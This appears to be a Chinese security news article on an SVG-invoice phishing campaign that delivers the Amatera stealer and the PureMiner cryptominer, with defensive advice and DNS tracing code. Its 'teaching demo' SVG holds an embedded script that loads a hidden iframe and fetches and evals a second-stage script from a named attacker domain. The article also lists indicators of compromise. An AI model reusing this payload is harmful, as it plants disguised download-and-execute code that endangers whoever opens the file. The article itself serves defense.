当“图片”会执行代码:SVG钓鱼载荷引爆新型供应链攻击,Amatera窃密与PureMiner挖矿暗流涌动

简介: 2025年,攻击者利用SVG发票图植入恶意代码,绕过传统防御,窃取数据并挖矿。此类“无害”文件实为武器,揭示格式信任背后的安全盲区,警示需从源头重构安全策略。

一、一封“发票图”,竟成远程控制入口?

2025年秋,欧洲多家中小企业财务人员陆续收到一封看似普通的邮件:“附件为贵司最新账单,请查收。”随信附带一个名为 invoice_OCT2025.svg 的文件。用户双击打开后,屏幕上只显示一张简洁的矢量发票图——毫无异常。

然而,就在图像加载完成的瞬间,后台已悄然执行一段嵌入式JavaScript代码,从境外服务器下载名为 Amatera Stealer 的恶意程序。数分钟后,受害者的浏览器Cookie、加密钱包私钥、企业凭证被批量上传;与此同时,另一模块 PureMiner 开始在后台调用CPU资源,为攻击者挖掘门罗币(Monero)。

这并非科幻桥段,而是FortiGuard Labs与WhoisXML API联合披露的一起真实攻击事件。根据CircleID于2025年10月30日发布的深度分析报告,攻击者正大规模利用 SVG(可缩放矢量图形)文件作为初始投递载体,绕过传统邮件网关对“图片”的信任假设,实现高隐蔽性入侵。

更令人警惕的是,整个攻击基础设施通过多层DNS别名链、公共云CDN伪装和快变域名(Fast-Flux)技术隐藏真实C2(命令与控制)服务器,使得基于IP或域名的静态封堵几乎失效。

“我们过去总说‘不要点.exe’,但现在连.svg都可能执行代码。”公共互联网反网络钓鱼工作组技术专家芦笛在接受本报采访时直言,“攻击者正在把‘无害格式’变成武器,而我们的防御体系还没跟上。”

二、SVG为何能“执行代码”?技术原理深度解析

要理解此次攻击的颠覆性,必须先厘清SVG的本质。

SVG(Scalable Vector Graphics)是一种基于XML的矢量图像格式,广泛用于网页图标、数据可视化和响应式设计。但与PNG、JPEG等纯栅格图像不同,SVG支持内嵌JavaScript、CSS甚至外部资源引用。这意味着,一个“.svg”文件本质上是一个可执行的微型网页。

攻击载荷构造示例:

以下是一个简化版的恶意SVG文件结构(仅用于教学演示):

<?xml version="1.0" encoding="UTF-8"?>

<svg xmlns="http://www.w3.org/2000/svg" width="500" height="300">

<title>Invoice OCT2025</title>

<rect x="10" y="10" width="480" height="280" fill="#f0f0f0"/>

<text x="50" y="50" font-size="18">Invoice #INV-202510</text>

<!-- 恶意脚本隐藏在看似无害的标签中 -->

<script type="application/ecmascript"><![CDATA[

(function() {

// 动态构建下载URL

const domain = "ms-team-ping2[.]com";

const payload = "/loader.bin";

// 创建隐藏iframe触发下载

const iframe = document.createElement('iframe');

iframe.style.display = 'none';

iframe.src = "https://" + domain + payload;

document.body.appendChild(iframe);

// 或通过fetch下载并执行

fetch("https://" + domain + "/stage2.js")

.then(r => r.text())

.then(eval); // 危险!但有效

})();

]]></script>

</svg>

当用户在浏览器或支持脚本渲染的SVG查看器中打开此文件时,内嵌的JavaScript会立即执行,从远程服务器拉取第二阶段载荷(如Amatera Stealer)。

注:Windows默认使用Internet Explorer引擎渲染本地SVG文件,若未禁用ActiveX或脚本执行,极易中招。

为何能绕过传统防御?

扩展名欺骗:邮件网关通常将.svg归类为“安全图像”,不进行沙箱 detonation;

MIME类型混淆:即使服务器返回Content-Type: image/svg+xml,多数安全设备不会解析其内部脚本;

无文件落地:部分攻击采用内存加载(in-memory execution),避免写入磁盘,规避EDR检测。

三、攻击链条全景:从SVG到窃密与挖矿

根据CircleID报告及FortiGuard Labs的IoC(Indicators of Compromise)分析,此次攻击分为三个阶段:

阶段一:初始投递(Initial Delivery)

攻击者通过钓鱼邮件发送SVG附件,主题多为“发票”“合同”“物流通知”;

文件名刻意模仿业务场景(如 shipping_notice_7891.svg);

部分变种将SVG托管于GitHub Gist、Pastebin或Google Drive,通过短链接诱导点击。

阶段二:载荷下载与执行(Payload Execution)

SVG内嵌脚本连接至第一跳C2域名(如 ms-team-ping2[.]com);

下载轻量级下载器(Downloader),负责获取主载荷;

主载荷包括:

Amatera Stealer:专用于窃取浏览器Cookie、保存的密码、加密货币钱包(如MetaMask)、Discord令牌等;

PureMiner:基于XMRig的定制挖矿程序,具备进程隐藏、CPU占用动态调节、反调试功能。

阶段三:C2通信与持久化(C2 & Persistence)

C2基础设施采用多层DNS伪装:

域名注册于NiceNIC、Web Commerce等宽松注册商;

使用CNAME链指向Cloudflare、Amazon CloudFront等公共CDN;

真实服务器IP隐藏在CDN背后,难以溯源。

DNS查询数据显示,部分域名在被标记为恶意前 14–105天 已出现在威胁情报Feed中,表明攻击者提前“养域”以提升信誉。

例如,域名 ms-team-ping2[.]com 的DNS解析链如下:

ms-team-ping2.com

→ CNAME → cdn-assets[.]cloudflaressl.com

→ A → 104.21.63.189 (Cloudflare边缘节点)

→ 实际回源至 109.176.207.110(荷兰Nasstar托管)

这种架构使得基于IP的封堵无效,而基于域名的封堵又因快变策略(每日轮换子域)而滞后。

四、国内启示:中国企业的“图片信任”同样危险

尽管此次攻击主要针对欧美目标,但其手法对中国市场极具警示意义。

首先,国内企业普遍依赖邮件处理发票、合同、物流单据。财务、采购、行政人员每日接收大量附件,对“.svg”虽不常见,但对“.html”“.htm”甚至“.url”快捷方式的警惕性仍不足。一旦攻击者将SVG替换为类似格式,风险极高。

其次,国内大量中小企业使用老旧Windows系统(如Win7/Win10未打补丁),默认SVG查看器仍启用脚本执行。2025年已有安全厂商捕获到仿冒“税务通知.svg”的样本,试图下载远控木马。

芦笛指出:“中国用户对‘官方文件’的信任度极高,尤其来自‘税务局’‘银行’‘物流公司’的通知。攻击者只需稍作本地化,就能复刻这套攻击链。”

更值得警惕的是,PureMiner类挖矿程序在国内云服务器环境中尤为猖獗。攻击者常通过弱口令爆破或未修复漏洞入侵云主机,部署挖矿脚本。若结合SVG钓鱼作为初始入口,可形成“端点→服务器”的横向移动链条。

五、防御升级:从“信任图片”到“隔离执行”

面对SVG钓鱼的新威胁,专家建议采取多层次防御策略:

1. 邮件与代理侧:主动剥离与渲染隔离

强制将SVG转为静态PNG:在邮件网关或安全邮件平台(如Mimecast、Proofpoint)中配置策略,对所有SVG附件进行无脚本渲染,并转换为不可执行的栅格图像;

启用浏览器隔离(Browser Isolation):对所有来自邮件、聊天工具的SVG链接,在远程沙箱中打开,本地仅接收像素流;

MIME类型严格校验:拒绝image/svg+xml类型的直接下载,或强制以文本方式呈现。

2. 终端侧:禁用SVG脚本执行

在Windows组策略中禁用SVG的Active Scripting:

计算机配置 → 管理模板 → Windows组件 → Internet Explorer → 安全功能 → 限制ActiveX安装 → 启用

推广使用无脚本SVG查看器(如Inkscape、专用PDF转换工具);

对普通用户,建议将.svg文件关联至记事本,避免双击执行。

3. DNS层:启发式检测与被动追踪

部署支持DNS流量分析的安全平台(如Cisco Umbrella、Palo Alto DNS Security),识别以下异常:

高熵子域(如 x7k9q2.ms-team-ping2.com);

多层CNAME链指向公共CDN;

域名生命周期极短(注册<7天即活跃)。

利用被动DNS(Passive DNS) 数据库(如WhoisXML API、SecurityTrails)追踪域名历史解析记录,发现潜在C2基础设施。

例如,通过Python脚本查询可疑域名的CNAME链:

import dns.resolver

def trace_cname_chain(domain):

chain = []

current = domain

while True:

try:

answers = dns.resolver.resolve(current, 'CNAME')

cname = str(answers[0].target).rstrip('.')

chain.append(cname)

if cname == current: # 避免循环

break

current = cname

except dns.resolver.NoAnswer:

break

except Exception as e:

print(f"Error resolving {current}: {e}")

break

return chain

# 示例:追踪 ms-team-ping2.com

print(trace_cname_chain("ms-team-ping2.com"))

# 输出:['cdn-assets.cloudflaressl.com']

4. 终端检测:行为监控与内存扫描

部署支持无文件攻击检测的EDR(如CrowdStrike、SentinelOne),监控以下行为:

非浏览器进程加载JavaScript引擎(如jscript.dll);

svchost.exe或dllhost.exe发起异常外联;

内存中出现XMRig特征字符串(如“moneropool.com”)。

对Amatera Stealer,重点监控对 %LocalAppData%\Google\Chrome\User Data 等路径的非常规访问。

六、结语:安全不能止步于“看起来无害”

SVG钓鱼的兴起,标志着攻击者正系统性地利用格式信任与防御盲区。他们不再需要复杂的漏洞利用,只需一个被误认为“安全”的文件扩展名,就能打开通往企业核心资产的大门。

这不仅是技术挑战,更是安全思维的转型契机。正如芦笛所言:“未来的安全,不是判断‘它是不是病毒’,而是问‘它为什么需要执行代码?’”

在万物皆可脚本化的时代,我们必须重新定义“可信内容”。每一次双击,都应是一次有意识的安全决策——因为最危险的攻击,往往披着最无害的外衣。

编辑:芦笛(公共互联网反网络钓鱼工作组)

目录
相关文章
|
2月前
|
监控 安全 网络安全
伪装成“自己人”:微软披露新型内部域名钓鱼攻击,企业邮件路由配置漏洞成重灾区
一封伪装成HR邮件的钓鱼攻击,利用企业邮件认证配置缺陷,险致财务转账87万元。攻击者绕过SPF、DMARC等机制,通过“内部域名伪造”让恶意邮件看似合法。背后是PhaaS平台Tycoon 2FA支撑,揭示邮件安全需从基础协议闭环防控,重拾被忽视的安全常识。
113 2
|
监控 Kubernetes Cloud Native
浅谈基于 OpenStack 和 k8s 建设云原生研发基础设施
建设公司云原生研发基础设施,为研发部门提供安全、可靠、高效的基础资源、数据存储服务、DevOps 流水线以及运维自动化服务等。
5455 4
浅谈基于 OpenStack 和 k8s 建设云原生研发基础设施
|
存储 监控 算法
详解SIP服务器用来做什么的
什么是SIP服务器? SIP服务器是IPPBX的主要组成部分,主要处理网络中所有SIP呼叫的管理。SIP服务器也称为SIP代理或注册器。SIP是SIP服务器的主要组件,负责建立网络中所有的SIP电话通话。SIP服务器也叫SIP代理服务器或注册服务器。
4339 0
详解SIP服务器用来做什么的
|
数据库 数据安全/隐私保护 Windows
|
2月前
|
安全 前端开发 JavaScript
钓鱼新变种:攻击者借Cloudflare Pages与Zendesk“合法外衣”伪造客服门户,企业凭证安全防线告急
一封伪装成工单升级的钓鱼邮件,利用Cloudflare Pages和Zendesk等可信平台托管仿冒页面,窃取企业账户凭证。攻击者绕过MFA,盗取会话Cookie,数小时内入侵财务系统。此类新型钓鱼依托合法域名规避传统防御,暴露“可信即安全”的认知盲区。专家呼吁构建零信任模型,强化行为监测与员工培训,应对日益隐蔽的网络威胁。(238字)
148 5
|
2月前
|
Web App开发 安全 网络安全
伪装成“对账单”的远控木马:Coinbase钓鱼新套路暴露Windows端点安全盲区
2025年,黑客利用伪造Coinbase对账单邮件,诱导用户下载恶意程序,通过RAT远控木马窃取浏览器Cookie与2FA信息,实现账户接管。攻击链结合社会工程、端点入侵与权限绕过,暴露传统防御短板,警示全球用户提升安全意识,推动FIDO2认证与EDR部署,构建技术与习惯并重的数字安全防线。
105 4
|
2月前
|
监控 安全 前端开发
“熟人”私信藏杀机:LinkedIn钓鱼直击财务高管,企业社交平台成安全盲区
2025年,针对LinkedIn等职场社交平台的精准钓鱼攻击激增,攻击者伪装投资机构,利用私信诱导高管点击仿冒登录页,窃取凭证后实施财务欺诈。此类攻击绕过传统邮件防护,暴露企业安全盲区。专家呼吁推行浏览器隔离、FIDO2无密码认证及员工演练,构建纵深防御体系。
114 3
|
2月前
|
供应链 监控 安全
一封“2FA更新”邮件,险些让数亿开发者中招——NPM供应链钓鱼事件揭示开源生态的致命软肋
2025年9月,攻击者通过伪造NPM邮件窃取开发者账户,篡改20个高下载量JavaScript包,植入剪贴板劫持恶意代码,意图盗取加密货币钱包地址。事件暴露开源供应链脆弱性,凸显钓鱼防护、硬件密钥认证与发布流程审计的紧迫需求,呼吁构建从技术到文化的全链路防御体系。
138 1
|
2月前
|
机器学习/深度学习 人工智能 并行计算
AI语音克隆掀起“声”命危机:全球Vishing攻击激增,传统身份核验体系告急
2025年,AI语音诈骗席卷全球。伦敦一银行员工被克隆的CFO声音欺骗,转出230万欧元。生成式语音技术让“声纹复刻”轻而易举,传统KBA与语音OTP防线崩溃。从CEO诈骗到亲情骗局,攻击者利用开源模型实施精准社工攻击。防御需结合被动生物识别、多因素认证与行为分析。专家警示:声音已不可信,唯有提高警觉,重建信任机制,方能应对这场真实与伪造的战争。
141 1
|
弹性计算 缓存 监控
基于“日志审计应用”的 DNS 日志洞察实践
DNS 解析日志是一种记录 DNS 请求和响应的基础信息,监控 DNS 服务可以帮助用户识别网络活动并保持系统安全。日志审计服务支持采集 DNS 内网解析日志、公网权威解析日志、GTM 日志。理解 DNS 日志的字段含义,洞察 DNS 日志背后所代表的网络信息,既可以帮助发现和诊断 DNS 解析相关的问题,还可以检测和识别潜在的安全威胁。
8974 112